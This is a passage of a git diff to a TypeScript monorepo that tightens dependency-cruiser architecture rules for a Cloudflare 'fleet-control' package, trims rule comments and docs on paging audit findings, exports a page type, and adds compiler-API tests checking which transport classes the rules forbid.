'(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', reachable: true, }, }, { name: 'fleet-control-inventory-advance-is-transport-neutral', severity: 'error', - comment: - 'The bounded account inventory coordinator depends only on provider-neutral ports and state. Keeping provider clients, the Cloudflare inventory stage engine, Wrangler, concrete export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the transport-neutral boundary.', from: { path: [ '^packages/fleet-control/src/fleet-inventory-advance\\.ts$', @@ -279,7 +247,7 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', reachable: true, }, }, @@ -287,7 +255,7 @@ module.exports = { name: 'fleet-control-operation-advance-avoids-concrete-transports', severity: 'error', comment: - 'The bounded audit coordinator imports eight modules directly, all provider-neutral. Six at runtime: operation state, audit state, the deployment context, the sibling bounded inventory coordinator, the root switch coordinator (for the structural FleetRecord ingress it re-parses staged rows through), and the lifecycle engine (for the stage functions it extracts). Two type-only, which tsPreCompilationDeps keeps in the graph this rule walks: the inventory run-store port, and the shared record and port types. This rule keeps every concrete transport its to-set names out of the whole graph reachable behind those eight. A module belongs in that to-set when it is a concrete transport rather than a port or a coordinator over one: the Cloudflare SDK client and the Cloudflare-specific modules it imports for provider errors, ordinary-Worker operations, fleet inventory, attachment scanning, and API-quota coordination; every ProvisioningBackend, PlainWorkerProvisioningApi, and BackendSwitchProvider implementation, together with the Wrangler command runner the Wrangler-backed ones take; every DurableDatabaseExportStore implementation; and the deployed Workers under workers/. The root barrel is listed because it re-exports transports, and the export file-name guard because only the export stores import it, so a path to it runs through one. fleet-migration-advance.ts is pre-registered in the from-set for the migration coordinator R4-C.2 will add; it does not exist yet, so only the audit half is exercised today. Four of the reachable modules a reader might expect in the to-set are deliberately absent, each for its own reason: backend-switch.ts and fleet.ts are two of the eight direct imports above; provision.ts is reachable only through fleet.ts, so forbidding it would forbid fleet.ts by proxy; and database-export-store.ts, reachable under backend-switch.ts through the decommission coordinators, declares the DurableDatabaseExportStore port that export-store.ts and r2-export-store.ts implement, so forbidding it would invert the principle this rule rests on as well as fail by that same proxy argument. The two top-level npm-cloudflare patterns the sibling transport-neutral rules carry are dropped for a reason unrelated to those four: the reachable provider-binding-inventory.ts leaf holds a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction.', + 'The reachable graph includes SDK types used by provider-neutral ports. Runtime SDK imports need a separate direct-edge rule because reachable restrictions cannot exempt erased edges.', from: { path: [ '^packages/fleet-control/src/(?:fleet-audit-advance|fleet-migration-advance)\\.ts$', @@ -295,7 +263,7 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|cloudflare-rate-coordinator|workers-for-platforms-backend-switch-provider|workers-for-platforms-backend|plain-worker-backend|cloudflare-api-plain-worker-backend|wrangler-plain-worker-provisioning-api|cloudflare-api-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|index)\\.ts$|^packages/fleet-control/src/workers/)', + path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|cloudflare-rate-coordinator|workers-for-platforms-backend-switch-provider|workers-for-platforms-backend|plain-worker-backend|cloudflare-api-plain-worker-backend|wrangler-plain-worker-provisioning-api|cloudflare-api-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|index)\\.ts$|^packages/fleet-control/src/workers/)', reachable: true, }, }, @@ -303,7 +271,7 @@ module.exports = { name: 'fleet-control-runtime-sdk-stays-in-provider-modules', severity: 'error', comment: - 'Runtime Cloudflare SDK values may be imported only by the three modules that already hold that edge; a type-only import (the provider-binding-inventory.ts leaf) is exempt. Unlike the reachable rules above, this is a direct-edge check with no reachable restriction, mirroring the decommission-database provider-neutral precedent.', + 'A direct-edge restriction can exempt erased SDK types without allowing runtime SDK values through the type-inclusive reachable graph.', from: { path: [ '^packages/fleet-control/src/', @@ -320,8 +288,6 @@ module.exports = { { name: 'fleet-control-cleanup-advance-is-transport-neutral', severity: 'error', - comment: - 'The bounded cleanup coordinator depends only on provider-neutral ports and state. Keeping provider clients, Wrangler, concrete export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the transport-neutral boundary.', from: { path: [ '^packages/fleet-control/src/cleanup-advance\\.ts$', @@ -329,15 +295,13 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + path: '(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|d1-fleet-state-database|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', reachable: true, }, }, { name: 'fleet-control-decommission-database-is-provider-neutral', severity: 'error', - comment: - 'The shared bounded-D1 choreography is a provider-neutral runtime leaf. It may import only the database receipt port and strict plain-data guard at runtime; provider shapes remain type-only callback contracts.', from: { path: [ '^packages/fleet-control/src/decommission-database\\.ts$', @@ -355,7 +319,7 @@ module.exports = { name: 'fleet-control-backend-switch-does-not-reach-its-provider', severity: 'error', comment: - 'The root switch coordinator depends on provider-neutral ports. It must not reach the concrete Workers for Platforms switch provider, which implements those ports over Cloudflare transports.', + 'The concrete provider implements the coordinator ports; reverse reach couples coordination to its transport.', from: { path: [ '^packages/fleet-control/src/backend-switch\\.ts$', @@ -371,7 +335,7 @@ module.exports = { name: 'fleet-control-strict-plain-data-is-import-free', severity: 'error', comment: - 'The descriptor-safe plain-data guard is shared by persisted codecs and must remain an import-free leaf so validation cannot execute package code before it rejects hostile input.', + 'Validation must not execute package code before rejecting hostile input.', from: { path: [ '^packages/fleet-control/src/strict-plain-data\\.ts$', @@ -387,7 +351,7 @@ module.exports = { name: 'fleet-control-ports-do-not-reach-d1-adapter', severity: 'error', comment: - 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, which reaches migration-ledger.ts through backend-switch.ts, so a port module reaching the adapter would close a cycle. d1-fleet-inventory-run-store.ts and d1-fleet-operation-store.ts consume the same port and must stay binding-agnostic for the same reason.', + 'Binding adapters depend on the ports; store implementations accept injected databases.', from: { path: [ '^packages/fleet-control/src/(?:state-store|migration-ledger|d1-fleet-inventory-run-store|d1-fleet-operation-store)\\.ts$', @@ -403,7 +367,7 @@ module.exports = { name: 'fleet-control-worker-reachable-modules-avoid-node-builtins', severity: 'error', comment: - 'These modules are Worker entry points or are reached from one in the import graph, where a Node builtin needs nodejs_compat. The two D1 harnesses set nodejs_compat, so a builtin import in the D1 adapter fails this rule rather than a harness; the R2 export harness runs without the flag.', + 'Node built-ins require nodejs_compat. A harness with that flag can mask an incompatible import for consumers without it.', from: { path: [ '^packages/fleet-control/src/(?:d1-fleet-state-database|database-export-store|export-file-name|r2-export-store)\\.ts$', @@ -416,8 +380,6 @@ module.exports = { { name: 'fleet-control-client-does-not-reach-its-consumers', severity: 'error', - comment: - 'index.ts, cloudflare-api-plain-worker-backend.ts, and cloudflare-api-plain-worker-provisioning-api.ts import the Cloudflare client, so the client reaching one of them would close a cycle. The one-way rule and the general Fleet Control cycle rule both reject that reverse reach.', from: { path: [ '^packages/fleet-control/src/cloudflare-client\\.ts$', @@ -433,7 +395,7 @@ module.exports = { name: 'fleet-control-export-port-does-not-reach-adapters', severity: 'error', comment: - 'export-store.ts and r2-export-store.ts import DurableDatabaseExportStore from database-export-store.ts to implement it, so the port reaching either store would close a cycle. Those two imports are type-only, and tsPreCompilationDeps keeps a type-only edge in the graph.', + 'Adapters implement the port; reverse reach introduces a dependency cycle, including through type imports.', from: { path: [ '^packages/fleet-control/src/database-export-store\\.ts$', @@ -466,8 +428,6 @@ module.exports = { { name: 'host-kit-reaches-approval-shapes', severity: 'error', - comment: - 'The barrel must continue reaching the pure approval-shapes leaf instead of the durable agent barrel.', module: { path: [ '^packages/flowsafe/src/host-kit/index\\.ts$', diff --git a/docs/fleet-control.md b/docs/fleet-control.md index c20a3aec..aa991724 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -292,7 +292,11 @@ Every finding and fact passes the same shape, vocabulary, and byte-bound codec b Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted; 100 or more emitted rows fail. A record whose live inspection alone would emit 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — therefore fails the whole operation with the same reason; the operation never emits a partial finding set for one record. -Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in, and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call. The result is `done`-discriminated: a page that is not `done` always carries the cursor, and `nextAfterOrdinal` is absent only on an empty page, which is legal only when `done` is set. Page until `done`. Two guarantees stand behind that cursor, and they have different owners. Finding ordinals are contiguous from zero because the write path enforces it, not because the read port promises it: every commit that advances the finding count asserts a dense prefix over the first N finding ordinals. That a page holds the smallest qualifying ordinals is instead the conformance requirement `FleetOperationStore.readOperationRowsPage` places on the store. The reader verifies both rather than trusting them — a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed` — so every accepted page either reports `done` or advances your cursor. That is strict progress rather than termination: the reader carries no row cap, so a store that keeps serving conforming non-final pages keeps your loop running. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. +Read terminal audit findings with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})`. Its exported `FleetAuditFindingsPage` type narrows the cursor by `done`. Pass `nextAfterOrdinal` back as `afterOrdinal` until the store reports completion. Failed operations remain readable. + +The store owns the final-page signal. This reader does not compare a final page with `FleetAuditProgress.findingCount`, and it does not impose a total-page bound. A custom store must satisfy `FleetOperationStore.readOperationRowsPage`; callers should bound their own traversal when diagnosing a store that keeps reporting more pages. + +Use `abandonFleetAuditOperation()` to fail a stuck running operation and release its inventory pin. Repeating abandonment on a terminal operation releases a surviving pin without changing its state. Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index ee92e3c5..6f15217a 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -248,6 +248,7 @@ try { type DatabaseExportReceiptIdentity, type DurableDatabaseExportStore, type ExternalMutationFence, + type FleetAuditFindingsPage, type FleetRecord, type FleetMigrationAdvanceAction, type FleetMigrationAdvanceCapability, @@ -411,6 +412,16 @@ declare const database: FleetStateDatabase; declare const api: WorkersForPlatformsApi; declare const policy: DeploymentEgressPolicy; declare const coordinator: CloudflareApiRateCoordinator; +export const emptyAuditPage: FleetAuditFindingsPage = { findings: [], done: true }; +// @ts-expect-error An unfinished page requires its continuation cursor. +export const unfinishedAuditPage: FleetAuditFindingsPage = { findings: [], done: false }; + +export function auditPageCursor(page: FleetAuditFindingsPage): number | undefined { + if (page.done) return page.nextAfterOrdinal; + const requiredCursor: number = page.nextAfterOrdinal; + return requiredCursor; +} + declare const deploymentSpec: DeploymentSpec; declare const provisioningBackend: ProvisioningBackend; declare const backendSwitchProvider: BackendSwitchProvider; diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 5aaf31db..23654a0c 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -1221,23 +1221,12 @@ export async function advanceFleetAudit( return continueAudit(options, action.token, maxItemsPerCall); } -/** @inline */ -type FleetAuditFindingsPage = - /** - * The store reported the final page. `nextAfterOrdinal` is the page's - * greatest ordinal, and is absent only when the page is empty — which this - * reader accepts only on a `done` page. - */ +export type FleetAuditFindingsPage = | Readonly<{ findings: readonly DriftFinding[]; done: true; nextAfterOrdinal?: number; }> - /** - * The store reported more rows. This reader refuses an empty page that is - * not `done`, so `nextAfterOrdinal` — the page's greatest ordinal — is - * always present here. - */ | Readonly<{ findings: readonly DriftFinding[]; done: false; @@ -1245,47 +1234,9 @@ type FleetAuditFindingsPage = }>; /** - * Reads one page of an operation's parsed drift findings. Terminal-only - * (failed operations included); never touches the inventory store. The - * findings come back in ordinal order whatever order the store's page - * arrived in (the port lets a page arrive unordered). - * - * A caller pages the whole set by passing each result's `nextAfterOrdinal` - * back as `afterOrdinal` until `done`. The result is `done`-discriminated: a - * page that is not `done` always carries the cursor. `nextAfterOrdinal` is - * the page's greatest ordinal, read off the returned rows rather than - * recomputed by the caller from a prose formula, and it is absent only on an - * empty page — which this reader accepts only when `done` is set. The idiom - * rests on two guarantees with two different owners. Finding ordinals are - * contiguous from zero because the WRITE PATH enforces it, not because the - * read port promises it: this coordinator numbers each finding row - * `findingCount + index`, and each commit that advances `findingCount` passes - * `expectedRowWatermarks.finding` at the new count — which - * `FleetOperationLease.commitProgress` defines as a dense-prefix assertion - * over the first N ordinals, so it holds whatever order the rows landed in. - * Both routes take it: the per-record chunk commits its finding rows inline, - * the global stage pre-stages them through `stageRows` and commits the - * watermark after. That a page holds the smallest qualifying ordinals IS the - * conformance requirement `FleetOperationStore.readOperationRowsPage` states. - * This reader checks both instead of trusting them, so every accepted page - * either reports `done` or advances the caller's cursor. That is strict - * progress, not termination: unlike `readAllFleetOperationRows`, this reader - * carries no row cap, so a store that keeps serving conforming non-final - * pages keeps a caller's loop running. - * - * A final page is trusted as final. The reader takes `done` from the store and - * never compares the rows it returned against the operation's own - * `FleetAuditProgress.findingCount`, so a store that reports `done` on a short - * but contiguous page truncates the caller silently. - * - * Refuses an unknown operation with `FleetOperationTokenOperationError`, an - * operation of the other kind and a still-running operation with fixed - * messages, and a non-conforming page — empty while unfinished, or not the - * contiguous ordinal run following the cursor — with `malformed()`. `limit` - * is deliberately NOT range-checked here: it is forwarded to the store, whose - * own read guard owns that range. `maxItemsPerCall` is validated in this - * module by contrast, because it drives this module's own chunking rather - * than a store call. + * Read terminal audit findings, passing each returned cursor to the next call. + * The store owns the final-page signal; findingCount does not certify page + * completeness here. */ export async function readFleetAuditFindingsPage( store: FleetOperationStore, @@ -1324,8 +1275,6 @@ export async function readFleetAuditFindingsPage( driftFindingRowFromUnknown(row.payload), ); const lastRow = sortedRows.at(-1); - // An empty page got past the guard above only because the store reported - // `done`, so this arm carries the literal rather than `page.done`. if (lastRow === undefined) return { findings, done: true }; return page.done ? { findings, done: true, nextAfterOrdinal: lastRow.ordinal } diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 826e453b..58b54fe4 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -110,6 +110,7 @@ export { type FleetAuditAdvanceCapability, FleetAuditAdvanceCapabilityError, type FleetAuditAdvanceResult, + type FleetAuditFindingsPage, type FleetAuditResultRef, readFleetAuditFindingsPage, } from './fleet-audit-advance.js'; diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 57a2b576..4cc446c8 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -1,7 +1,6 @@ packages: - "packages/*" -# Supply-chain guard: only install package versions >= 7 days old (minutes) minimumReleaseAge: 10080 # Mastra ships in lockstep with @mastra/core (audited, version-locked here); # quarantining it just forces stale mismatched subtrees. @@ -21,16 +20,5 @@ minimumReleaseAgeExclude: # Forced by wrangler → miniflare → sharp; already lockfile-pinned — the gate # only re-fires because any lockfile update re-resolves the whole graph. - "@emnapi/runtime" - # react-doctor (run via `pnpm dlx github:gcharang/react-doctor#`, never a - # dependency) depends on deslop-js with a floating range; every fresh - # deslop-js publish would otherwise trip the 7-day buffer inside the dlx - # install and fail the react-doctor gate. - # RUNBOOK — this is a CLASS, deslop-js was just the first instance: the age - # gate applies to a dlx target's transitive registry deps too, picking the - # newest version ≥7 days old and failing ONLY when a range's entire recent - # history is younger than the buffer. react-doctor has ~18 other floating - # deps (@sentry/node, oxc-parser, jiti, ...); if the doctor gate ever fails - # on one of them, the fix is one line — add that package name here. They are - # deliberately NOT pre-excluded: excludes are global, and would weaken the - # buffer for the whole workspace. + # Future release-age exceptions require explicit user approval. - "deslop-js" diff --git a/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts b/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts index 854c6b3c..8e8bf156 100644 --- a/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts @@ -1,2 +1,3 @@ import '../../packages/fleet-control/src/backend-switch.js'; import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js'; +import '../../packages/fleet-control/src/d1-fleet-state-database.js'; diff --git a/scripts/architecture-fixtures/decommission-advance-imports-provider.ts b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts index 854c6b3c..8e8bf156 100644 --- a/scripts/architecture-fixtures/decommission-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts @@ -1,2 +1,3 @@ import '../../packages/fleet-control/src/backend-switch.js'; import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js'; +import '../../packages/fleet-control/src/d1-fleet-state-database.js'; diff --git a/scripts/architecture-fixtures/inventory-advance-imports-provider.ts b/scripts/architecture-fixtures/inventory-advance-imports-provider.ts index 3c110fb9..86806d71 100644 --- a/scripts/architecture-fixtures/inventory-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/inventory-advance-imports-provider.ts @@ -1,2 +1,3 @@ import '../../packages/fleet-control/src/cloudflare-fleet-inventory.js'; import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js'; +import '../../packages/fleet-control/src/d1-fleet-state-database.js'; diff --git a/scripts/architecture-fixtures/operation-advance-imports-provider.ts b/scripts/architecture-fixtures/operation-advance-imports-provider.ts index 3ece5b6a..96080df3 100644 --- a/scripts/architecture-fixtures/operation-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/operation-advance-imports-provider.ts @@ -1,14 +1,3 @@ -// The first import is the violating edge: this module is in the rule's -// from-set, so importing a concrete provider puts one in its reachable graph -// on its own. The second adds the real coordinator's own graph, so the fixture -// stands for the shape the rule exists to forbid - a bounded coordinator that -// ALSO reaches a concrete transport - rather than for a bare provider import. -// The runner cruises this fixture together with the real -// fleet-audit-advance.ts entry and asserts that no module the real coordinator -// reaches - over every edge, type-only ones included, which is the graph this -// reachable rule itself walks - matches the rule's own to-set, compiled from -// the rule. That assertion is load-bearing: this fixture's own violations would -// otherwise mask a new one from the coordinator, because the runner's -// violation-level checks test only rule names and a single to-target. import '../../packages/fleet-control/src/cloudflare-client.js'; import '../../packages/fleet-control/src/fleet-audit-advance.js'; +import '../../packages/fleet-control/src/d1-fleet-state-database.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index ac0b1a02..8ab73862 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -1,6 +1,7 @@ import assert from 'node:assert/strict'; import { spawnSync } from 'node:child_process'; import { createRequire } from 'node:module'; +import { relative } from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; @@ -28,7 +29,11 @@ const databaseExportStore = 'packages/fleet-control/src/database-export-store.ts'; const strictPlainData = 'packages/fleet-control/src/strict-plain-data.ts'; const auditAdvance = 'packages/fleet-control/src/fleet-audit-advance.ts'; +const migrationAdvance = + 'packages/fleet-control/src/fleet-migration-advance.ts'; +const fleet = 'packages/fleet-control/src/fleet.ts'; const cloudflareClient = 'packages/fleet-control/src/cloudflare-client.ts'; +const d1Database = 'packages/fleet-control/src/d1-fleet-state-database.ts'; function adjacencyOf(report, keep) { return new Map( @@ -43,7 +48,6 @@ function adjacencyOf(report, keep) { ); } -/** Adjacency over runtime edges only; type-only edges are erased. */ function runtimeAdjacency(report) { return adjacencyOf( report, @@ -54,7 +58,6 @@ function runtimeAdjacency(report) { ); } -/** Adjacency over every edge, which is the graph a reachable rule walks. */ function fullAdjacency(report) { return adjacencyOf(report, () => true); } @@ -150,14 +153,6 @@ const controls = { 'scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts', }; -/** - * Real modules cruised alongside a fixture, for two reasons. A reachable rule - * is evaluated over the graph it guards rather than over the fixture alone; - * and a block's own assertions get the modules they walk, which is why the - * decommission-database entry lists decommissionDatabase — that rule is a - * direct-edge rule, not a reachable one, so the module is there for the - * block's exact-set assertion rather than for the rule. - */ const extraEntries = { 'fleet-control-decommission-advance-is-transport-neutral': [ decommissionAdvance, @@ -172,9 +167,150 @@ const extraEntries = { decommissionDatabase, backendSwitch, ], - 'fleet-control-operation-advance-avoids-concrete-transports': [auditAdvance], + 'fleet-control-operation-advance-avoids-concrete-transports': [ + auditAdvance, + migrationAdvance, + ], }; +const followedImports = new Map([ + [decommissionAdvance, decommissionDatabase], + [decommissionDatabase, databaseExportStore], + [backendSwitch, decommissionAdvance], + [switchProvider, backendSwitch], + [auditAdvance, fleet], + [migrationAdvance, fleet], +]); + +function assertFollowedImports(adjacency, sources) { + for (const source of sources) { + const target = followedImports.get(source); + assert.ok(target, `no followed-import control for ${source}`); + assert.ok( + adjacency.get(source)?.includes(target), + `${source} did not follow its import of ${target}`, + ); + assert.ok( + adjacency.get(target)?.length > 0, + `${target}, imported by ${source}, has no followed dependencies`, + ); + } +} + +test('production transport class implementations are forbidden operation targets', () => { + const fleetRequire = createRequire( + new URL('../packages/fleet-control/package.json', import.meta.url), + ); + const ts = fleetRequire('typescript'); + const root = fileURLToPath(new URL('..', import.meta.url)); + const sourceRoot = fileURLToPath( + new URL('../packages/fleet-control/src/', import.meta.url), + ); + const parsed = ts.getParsedCommandLineOfConfigFile( + fileURLToPath( + new URL('../packages/fleet-control/tsconfig.build.json', import.meta.url), + ), + { noEmit: true }, + { + ...ts.sys, + onUnRecoverableConfigFileDiagnostic(diagnostic) { + assert.fail( + ts.flattenDiagnosticMessageText(diagnostic.messageText, '\n'), + ); + }, + }, + ); + assert.deepEqual(parsed.errors, []); + const program = ts.createProgram(parsed.fileNames, parsed.options); + const checker = program.getTypeChecker(); + const portSources = { + ProvisioningBackend: 'types.ts', + PlainWorkerProvisioningApi: 'types.ts', + BackendSwitchProvider: 'backend-switch.ts', + DurableDatabaseExportStore: 'database-export-store.ts', + FleetStateDatabase: 'state-store.ts', + }; + const ports = Object.entries(portSources).map(([name, file]) => { + const source = program.getSourceFile(`${sourceRoot}${file}`); + assert.ok(source, `missing port source ${file}`); + const module = checker.getSymbolAtLocation(source); + assert.ok(module, `missing module symbol for ${file}`); + const exported = checker + .getExportsOfModule(module) + .find((symbol) => symbol.name === name); + assert.ok(exported, `missing port ${name} in ${file}`); + const symbol = + exported.flags & ts.SymbolFlags.Alias + ? checker.getAliasedSymbol(exported) + : exported; + const type = checker.getDeclaredTypeOfSymbol(symbol); + assert.ok( + type.getProperties().length > 0, + `${name} has no resolved members`, + ); + return { name, type }; + }); + const implementations = []; + for (const source of program.getSourceFiles()) { + if (source.isDeclarationFile || !source.fileName.startsWith(sourceRoot)) + continue; + function visit(node) { + if (ts.isClassDeclaration(node) || ts.isClassExpression(node)) { + const symbol = checker.getTypeAtLocation(node).getSymbol(); + assert.ok(symbol, `unresolved class symbol in ${source.fileName}`); + const type = checker.getDeclaredTypeOfSymbol(symbol); + const implemented = ports.filter((port) => + checker.isTypeAssignableTo(type, port.type), + ); + if (implemented.length > 0) { + implementations.push({ + file: relative(root, source.fileName).split('\\').join('/'), + class: node.name?.text ?? '', + ports: implemented.map((port) => port.name), + }); + } + } + ts.forEachChild(node, visit); + } + visit(source); + } + for (const { name } of ports) { + assert.ok( + implementations.some((implementation) => + implementation.ports.includes(name), + ), + `no production class implementation found for ${name}`, + ); + } + for (const name of [ + 'CloudflareApiPlainWorkerBackend', + 'WranglerLoopBackend', + ]) { + assert.ok( + implementations.some( + (implementation) => + implementation.class === name && + implementation.ports.includes('ProvisioningBackend'), + ), + `inherited backend ${name} was not classified`, + ); + } + const forbidden = new RegExp( + architectureRules.find( + (rule) => + rule.name === + 'fleet-control-operation-advance-avoids-concrete-transports', + ).to.path, + ); + assert.deepEqual( + implementations.filter( + (implementation) => !forbidden.test(implementation.file), + ), + [], + 'production transport class implementations missing from the operation rule', + ); +}); + test('every architecture rule has an executable positive control', () => { const ruleNames = architectureRules.map((rule) => rule.name).sort(); assert.deepEqual(Object.keys(controls).sort(), ruleNames); @@ -229,14 +365,26 @@ for (const [ruleName, fixture] of Object.entries(controls)) { violations.includes(ruleName), `${fixture} did not trigger ${ruleName}; got ${violations.join(', ')}`, ); - // An extra entry the cruise report does not contain has an empty - // adjacency entry, which satisfies the negative reachability assertions - // below without proving anything. - for (const entry of extraEntries[ruleName] ?? 